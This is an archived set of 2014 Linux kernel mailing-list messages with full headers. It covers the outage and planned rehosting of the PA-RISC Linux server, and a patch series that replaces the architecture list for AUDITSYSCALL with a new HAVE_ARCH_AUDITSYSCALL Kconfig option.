X-Provags-ID: V03:K0:LvlE1xCNStOBfbJsyKw4JAUk3KYOP4K3Jf7EncYInP7oxNqwe5Q
 U1dYo6UuQ4ulPmtdMnLKHIlvCKoEPXXlmfSMm/fBf34UkaxMLVQEegB22W//z3SJE7tzJmf
 qbsoYi2cTtN1VDB+CMBxrRLXnPnlAKL5l3KY1hp3V/FM0X4KdMKBUZeZULITFPGs7MXBp8f
 ZB51dktf0P/eEJxgZ5C6g==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5699>

On 02/19/2014 08:15 PM, John David Anglin wrote:
> On 2/19/2014 12:32 PM, Martin K. Petersen wrote:
>> palinux.external.hp.com has been offline for several days now and mail
>> to parisc-linux.org has started to bounce as a result. I'm not sure
>> whether HP finally pulled the plug or what?
> The machine crashed and may have a hardware problem.  I don't believe HP
> pulled the plug.  Brett Johnson of HP has been looking at it.
> 
> The plan was to switch to the mirror at ESIEE on March 1.  Probably, now would be
> a good time to switch if Thibaut is available.

By the way, we are in progress to (hopefully) get the machine hosted at OSUOSL.org.
That the machine might have a problem is currently not good for that plan though.

If the machine arrives at OSUOSL the website and everything will be gone since
I plan to reinstall it with debian unstable and set it up as buildd.
Website is already at https://parisc.wiki.kernel.org/

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: palinux offline
Date: Thu, 20 Feb 2014 14:19:55 -0500
Organization: Oracle Corporation
Lines: 16
Approved: news@gmane.org
Message-ID: <yq1sirdk2w4.fsf@sermon.lab.mkp.net>
References: <yq161obm2jm.fsf@sermon.lab.mkp.net>
	<BLU0-SMTP339AF0686BE55B56C26627979B0@phx.gbl>
	<53050A97.2010000@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1392923990 709 80.91.229.3 (20 Feb 2014 19:19:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Feb 2014 19:19:50 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 20 20:19:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WGZA4-0000Ha-Vd
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Feb 2014 20:19:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754100AbaBTTT4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Feb 2014 14:19:56 -0500
Original-Received: from mojo.mkp.net ([70.38.64.14]:44254 "EHLO mojo.mkp.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755404AbaBTTT4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Feb 2014 14:19:56 -0500
Original-Received: from mojo.mkp.net (localhost.localdomain [127.0.0.1])
	by mojo.mkp.net (Postfix) with ESMTP id 6F6179E3476;
	Thu, 20 Feb 2014 14:19:55 -0500 (EST)
In-Reply-To: <53050A97.2010000@gmx.de> (Helge Deller's message of "Wed, 19 Feb
	2014 20:48:39 +0100")
User-Agent: Gnus/5.130005 (Ma Gnus v0.5) Emacs/24.2 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5700
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5700>

>>>>> "Helge" == Helge Deller <deller@gmx.de> writes:

Helge> That the machine might have a problem is currently not good for
Helge> that plan though.

I still have a J6700 that's up for grabs but it's here in Montreal which
complicates logistics things a bit. And we won't have remote management
like on the old machine.

-- 
Martin K. Petersen	Oracle Linux Engineering
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: AKASHI Takahiro <takahiro.akashi@linaro.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.redhat.security.audit,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH v2 0/1] audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL
Date: Tue, 25 Feb 2014 18:16:23 +0900
Lines: 33
Approved: news@gmane.org
Message-ID: <1393319784-2758-1-git-send-email-takahiro.akashi@linaro.org>
References: <1391407232-4623-1-git-send-email-takahiro.akashi@linaro.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1393319843 31331 80.91.229.3 (25 Feb 2014 09:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Feb 2014 09:17:23 +0000 (UTC)
Cc: catalin.marinas@arm.com, will.deacon@arm.com, dsaxena@linaro.org,
	linux-arm-kernel@lists.infradead.org,
	linaro-kernel@lists.linaro.org, linux-kernel@vger.kernel.org,
	linux-audit@redhat.com, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net,
	AKASHI Takahiro <takahiro.akashi@linaro.org>
To: viro@zeniv.linux.org.uk, eparis@redhat.com, rgb@redhat.com,
	arndb@arndb.de
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Feb 25 10:17:29 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1WIE8l-0003ST-Nt
	for lnx-linux-alpha@plane.gmane.org; Tue, 25 Feb 2014 10:17:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752461AbaBYJR0 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 25 Feb 2014 04:17:26 -0500
Original-Received: from mail-pa0-f41.google.com ([209.85.220.41]:49340 "EHLO
	mail-pa0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751336AbaBYJRW (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Tue, 25 Feb 2014 04:17:22 -0500
Original-Received: by mail-pa0-f41.google.com with SMTP id fa1so7827399pad.14
        for <linux-alpha@vger.kernel.org>; Tue, 25 Feb 2014 01:17:22 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=cnkhdOL1ePR9mRSj4C9WhJ+6QIiJyqSdWf0PRZvydF4=;
        b=GluLhMXw/DY9koxiQGVNhL1fRRmkWtOrdscC4eEjoFUF2B6NZ5rQUsGLH+a09K3M7t
         h41REuKVJTlWX4axkuZQH0SpiUbpkF6gsVVCUToK44PoOm9MNljk6Uy8G+6GxslA+HU7
         g1tWnLoGr7dbH8dmgdQv+fvXXvO2e7MzTCGXPP1aUCN5eh6BXZeVB/SWgmqHOg+of/g2
         /sYpXR8mfpT+hsz81igNSffvG81uUZghSB31jzQVUUf7/0vICk+0RtyBtiAHu9FDSbFt
         m3kpUr5nQWeCrZwIhC449Ubl0nLKavnKuHI136ftxfUDL6QqbJK6+5cbSVuBi4b8ugM4
         gFAQ==
X-Gm-Message-State: ALoCoQk2AIob73VNPh1GKCxBZuqGtoMg4Oc7JEGDODlZiC3b5d2mVzt32TJBXrEDL9LhFvT5Qtit
X-Received: by 10.68.203.102 with SMTP id kp6mr5494815pbc.14.1393319842143;
        Tue, 25 Feb 2014 01:17:22 -0800 (PST)
Original-Received: from localhost.localdomain (KD182249093189.au-net.ne.jp. [182.249.93.189])
        by mx.google.com with ESMTPSA id gj9sm8401924pbc.7.2014.02.25.01.17.15
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 25 Feb 2014 01:17:20 -0800 (PST)
X-Mailer: git-send-email 1.8.3.2
In-Reply-To: <1391407232-4623-1-git-send-email-takahiro.akashi@linaro.org>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2236 gmane.linux.ports.arm.kernel:304459 gmane.linux.kernel:1655060 gmane.linux.redhat.security.audit:5953 gmane.linux.ports.ia64:23635 gmane.linux.ports.parisc:5701 gmane.linux.ports.ppc64.devel:99789 gmane.linux.ports.sh.devel:32694 gmane.linux.ports.sparc:18704 gmane.linux.uml.devel:14360 gmane.linux.uml.user:14635
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2236>

Currently AUDITSYSCALL has a long list of architecture depencency:
       depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML ||
                SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT) || ALPHA)
The purpose of this patch is to replace it with HAVE_ARCH_AUDITSYSCALL
for simplicity.

Changes v1 -> v2:
* rebased to 3.14-rcX, and so added a change on ALPHA

AKASHI Takahiro (1):
  audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL

 arch/alpha/Kconfig     |    1 +
 arch/arm/Kconfig       |    1 +
 arch/ia64/Kconfig      |    1 +
 arch/parisc/Kconfig    |    1 +
 arch/powerpc/Kconfig   |    1 +
 arch/s390/Kconfig      |    1 +
 arch/sh/Kconfig        |    1 +
 arch/sparc/Kconfig     |    1 +
 arch/um/Kconfig.common |    1 +
 arch/x86/Kconfig       |    1 +
 init/Kconfig           |    5 ++++-
 11 files changed, 14 insertions(+), 1 deletion(-)

-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: AKASHI Takahiro <takahiro.akashi@linaro.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.redhat.security.audit,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH v2 1/1] audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL
Date: Tue, 25 Feb 2014 18:16:24 +0900
Lines: 167
Approved: news@gmane.org
Message-ID: <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
References: <1391407232-4623-1-git-send-email-takahiro.akashi@linaro.org>
 <1393319784-2758-1-git-send-email-takahiro.akashi@linaro.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1393319870 31656 80.91.229.3 (25 Feb 2014 09:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Feb 2014 09:17:50 +0000 (UTC)
Cc: catalin.marinas@arm.com, will.deacon@arm.com, dsaxena@linaro.org,
	linux-arm-kernel@lists.infradead.org,
	linaro-kernel@lists.linaro.org, linux-kernel@vger.kernel.org,
	linux-audit@redhat.com, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net,
	AKASHI Takahiro <takahiro.akashi@linaro.org>
To: viro@zeniv.linux.org.uk, eparis@redhat.com, rgb@redhat.com,
	arndb@arndb.de
Original-X-From: linux-sh-owner@vger.kernel.org Tue Feb 25 10:17:57 2014
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1WIE9E-0005NZ-DM
	for glps-linuxsh-dev@plane.gmane.org; Tue, 25 Feb 2014 10:17:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752826AbaBYJRu (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 25 Feb 2014 04:17:50 -0500
Original-Received: from mail-pb0-f41.google.com ([209.85.160.41]:63680 "EHLO
	mail-pb0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751000AbaBYJRq (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Tue, 25 Feb 2014 04:17:46 -0500
Original-Received: by mail-pb0-f41.google.com with SMTP id jt11so2485099pbb.0
        for <linux-sh@vger.kernel.org>; Tue, 25 Feb 2014 01:17:46 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=l/1vLIuLqFiHK70oxqSFiCT4uB0wcbp1++o4T/8KCBk=;
        b=Ic8p36Z+H6Mku/4Lih1p9kbi+vpNJguceiw4AKJscOKa7zUJm69dNRNRn1p1rRKL7Q
         2m75PaYD8Ea6Hfd+6ZhrFq5iyUIDXvNmFK7PgfcfcWd9FzE5xkZOJbCbjQ9RffIBeWSD
         8dnR5r99G642cJmpQEgsJ3RaB4Hu0wZqqE2Stp0RardQix//+uUSm8mlB0SoUBSMyXPJ
         m2sBMqdVD/pAE8uGlstcErO1/+EOSKrXexE2ZSexvCFBLMPzRw43EtVTnq3xcoLOP3aF
         30nOKdnc6QdpOMxX+v2gld0eQp1bmIZXwzEBjONmDpdf6cjEaNqVvMnFsjLmqQ7zcEel
         fP5w==
X-Gm-Message-State: ALoCoQkp1NSjHXXDKTdqEcPNXY/6TVyFsPNQ4lUObFOKroYjaWXbPuX79PHHZgnyEbQWbbh6s0uX
X-Received: by 10.68.184.66 with SMTP id es2mr5319652pbc.19.1393319856309;
        Tue, 25 Feb 2014 01:17:36 -0800 (PST)
Original-Received: from localhost.localdomain (KD182249093189.au-net.ne.jp. [182.249.93.189])
        by mx.google.com with ESMTPSA id gj9sm8401924pbc.7.2014.02.25.01.17.29
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 25 Feb 2014 01:17:35 -0800 (PST)
X-Mailer: git-send-email 1.8.3.2
In-Reply-To: <1393319784-2758-1-git-send-email-takahiro.akashi@linaro.org>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:32695 gmane.linux.ports.arm.kernel:304460 gmane.linux.kernel:1655061 gmane.linux.redhat.security.audit:5954 gmane.linux.ports.alpha:2237 gmane.linux.ports.ia64:23636 gmane.linux.ports.parisc:5702 gmane.linux.ports.ppc64.devel:99790 gmane.linux.ports.sparc:18705 gmane.linux.uml.devel:14361 gmane.linux.uml.user:14636
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/32695>

Currently AUDITSYSCALL has a long list of architecture depencency:
       depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML ||
		SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT) || ALPHA)
The purpose of this patch is to replace it with HAVE_ARCH_AUDITSYSCALL
for simplicity.

Signed-off-by: AKASHI Takahiro <takahiro.akashi@linaro.org>
---
 arch/alpha/Kconfig     |    1 +
 arch/arm/Kconfig       |    1 +
 arch/ia64/Kconfig      |    1 +
 arch/parisc/Kconfig    |    1 +
 arch/powerpc/Kconfig   |    1 +
 arch/s390/Kconfig      |    1 +
 arch/sh/Kconfig        |    1 +
 arch/sparc/Kconfig     |    1 +
 arch/um/Kconfig.common |    1 +
 arch/x86/Kconfig       |    1 +
 init/Kconfig           |    5 ++++-
 11 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index f6c6b34..b7ff9a3 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -22,6 +22,7 @@ config ALPHA
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_STRNCPY_FROM_USER
 	select GENERIC_STRNLEN_USER
+	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 	select ODD_RT_SIGACTION
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index e254198..ca79340 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -24,6 +24,7 @@ config ARM
 	select GENERIC_STRNCPY_FROM_USER
 	select GENERIC_STRNLEN_USER
 	select HARDIRQS_SW_RESEND
+	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
 	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_SECCOMP_FILTER if (AEABI && !OABI_COMPAT)
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 0c8e553..5409bf4 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -44,6 +44,7 @@ config IA64
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 	select ARCH_USE_CMPXCHG_LOCKREF
+	select HAVE_ARCH_AUDITSYSCALL
 	default y
 	help
 	  The Itanium Processor Family is Intel's 64-bit successor to
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index bb2a8ec..1faefed 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -28,6 +28,7 @@ config PARISC
 	select CLONE_BACKWARDS
 	select TTY # Needed for pdc_cons.c
 	select HAVE_DEBUG_STACKOVERFLOW
+	select HAVE_ARCH_AUDITSYSCALL
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 957bf34..7b3b8fe 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -141,6 +141,7 @@ config PPC
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_IRQ_EXIT_ON_IRQ_STACK
 	select ARCH_USE_CMPXCHG_LOCKREF if PPC64
+	select HAVE_ARCH_AUDITSYSCALL
 
 config GENERIC_CSUM
 	def_bool CPU_LITTLE_ENDIAN
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 65a0775..1b58568 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -103,6 +103,7 @@ config S390
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_TIME_VSYSCALL
 	select HAVE_ALIGNED_STRUCT_PAGE if SLUB
+	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_ARCH_JUMP_LABEL if !MARCH_G5
 	select HAVE_ARCH_SECCOMP_FILTER
 	select HAVE_ARCH_TRACEHOOK
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 6357710..4addd87 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -42,6 +42,7 @@ config SUPERH
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND
 	select OLD_SIGACTION
+	select HAVE_ARCH_AUDITSYSCALL
 	help
 	  The SuperH is a RISC processor targeted for use in embedded systems
 	  and consumer electronics; it was also used in the Sega Dreamcast
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index c51efdc..9c74d6b 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -77,6 +77,7 @@ config SPARC64
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select HAVE_C_RECORDMCOUNT
 	select NO_BOOTMEM
+	select HAVE_ARCH_AUDITSYSCALL
 
 config ARCH_DEFCONFIG
 	string
diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common
index 21ca44c..6915d28 100644
--- a/arch/um/Kconfig.common
+++ b/arch/um/Kconfig.common
@@ -1,6 +1,7 @@
 config UML
 	bool
 	default y
+	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_UID16
 	select GENERIC_IRQ_SHOW
 	select GENERIC_CPU_DEVICES
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 0af5250..2938365 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -127,6 +127,7 @@ config X86
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_IRQ_EXIT_ON_IRQ_STACK if X86_64
 	select HAVE_CC_STACKPROTECTOR
+	select HAVE_ARCH_AUDITSYSCALL
 
 config INSTRUCTION_DECODER
 	def_bool y
diff --git a/init/Kconfig b/init/Kconfig
index 009a797..d4ec53d 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -282,9 +282,12 @@ config AUDIT
 	  logging of avc messages output).  Does not do system-call
 	  auditing without CONFIG_AUDITSYSCALL.
 
+config HAVE_ARCH_AUDITSYSCALL
+	bool
+
 config AUDITSYSCALL
 	bool "Enable system-call auditing support"
-	depends on AUDIT && (X86 || PARISC || PPC || S390 || IA64 || UML || SPARC64 || SUPERH || (ARM && AEABI && !OABI_COMPAT) || ALPHA)
+	depends on AUDIT && HAVE_ARCH_AUDITSYSCALL
 	default y if SECURITY_SELINUX
 	help
 	  Enable low-overhead system-call auditing infrastructure that
-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.ia64,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.redhat.security.audit,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 1/1] audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL
Date: Tue, 25 Feb 2014 14:53:47 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20140225145347.GA23136@mudshark.cambridge.arm.com>
References: <1391407232-4623-1-git-send-email-takahiro.akashi@linaro.org>
 <1393319784-2758-1-git-send-email-takahiro.akashi@linaro.org>
 <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1393340098 21842 80.91.229.3 (25 Feb 2014 14:54:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Feb 2014 14:54:58 +0000 (UTC)
Cc: "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "linaro-kernel@lists.linaro.org" <linaro-kernel@lists.linaro.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 "user-mode-linux-devel@lists.sourceforge.net"
 <user-mode-linux-devel@lists.sourceforge.net>,
 "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 "rgb@redhat.com" <rgb@redhat.com>, Catalin Marinas <Catalin.Marinas@arm.com>,
 "x86@kernel.org" <x86@kernel.org>, "arndb@arndb.de" <arndb@arndb.de>,
 "eparis@redhat.com" <eparis@redhat.com>,
 "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
 "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
 "dsaxena@linaro.org" <dsaxena@linaro.org>,
 "viro@zeniv.linux.org.uk" <viro@zeniv.linux.org.uk>,
 "user-mode-linux-user@lists.sourceforge.net"
 <user-mode-linux-user@lists.sou
To: AKASHI Takahiro <takahiro.akashi@linaro.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Feb 25 15:55:05 2014
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1WIJPT-0005pt-AY
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 25 Feb 2014 15:55:03 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 439C62C0382
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 26 Feb 2014 01:54:59 +1100 (EST)
Original-Received: from cam-admin0.cambridge.arm.com (cam-admin0.cambridge.arm.com
 [217.140.96.50]) by ozlabs.org (Postfix) with ESMTP id D15E82C023F
 for <linuxppc-dev@lists.ozlabs.org>; Wed, 26 Feb 2014 01:54:36 +1100 (EST)
Original-Received: from mudshark.cambridge.arm.com (mudshark.cambridge.arm.com
 [10.1.203.36])
 by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id s1PErpki018213; 
 Tue, 25 Feb 2014 14:53:51 GMT
Content-Disposition: inline
In-Reply-To: <1393319784-2758-2-git-send-email-takahiro.akashi@linaro.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:68274 gmane.linux.ports.ia64:23637 gmane.linux.uml.devel:14362 gmane.linux.ports.parisc:5703 gmane.linux.ports.sh.devel:32724 gmane.linux.kernel:1655339 gmane.linux.ports.alpha:2238 gmane.linux.uml.user:14637 gmane.linux.redhat.security.audit:5959 gmane.linux.ports.sparc:18706 gmane.linux.ports.arm.kernel:304596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/68274>

T24gVHVlLCBGZWIgMjUsIDIwMTQgYXQgMDk6MTY6MjRBTSArMDAwMCwgQUtBU0hJIFRha2FoaXJv
IHdyb3RlOgo+IEN1cnJlbnRseSBBVURJVFNZU0NBTEwgaGFzIGEgbG9uZyBsaXN0IG9mIGFyY2hp
dGVjdHVyZSBkZXBlbmNlbmN5Ogo+ICAgICAgICBkZXBlbmRzIG9uIEFVRElUICYmIChYODYgfHwg
UEFSSVNDIHx8IFBQQyB8fCBTMzkwIHx8IElBNjQgfHwgVU1MIHx8Cj4gCQlTUEFSQzY0IHx8IFNV
UEVSSCB8fCAoQVJNICYmIEFFQUJJICYmICFPQUJJX0NPTVBBVCkgfHwgQUxQSEEpCj4gVGhlIHB1
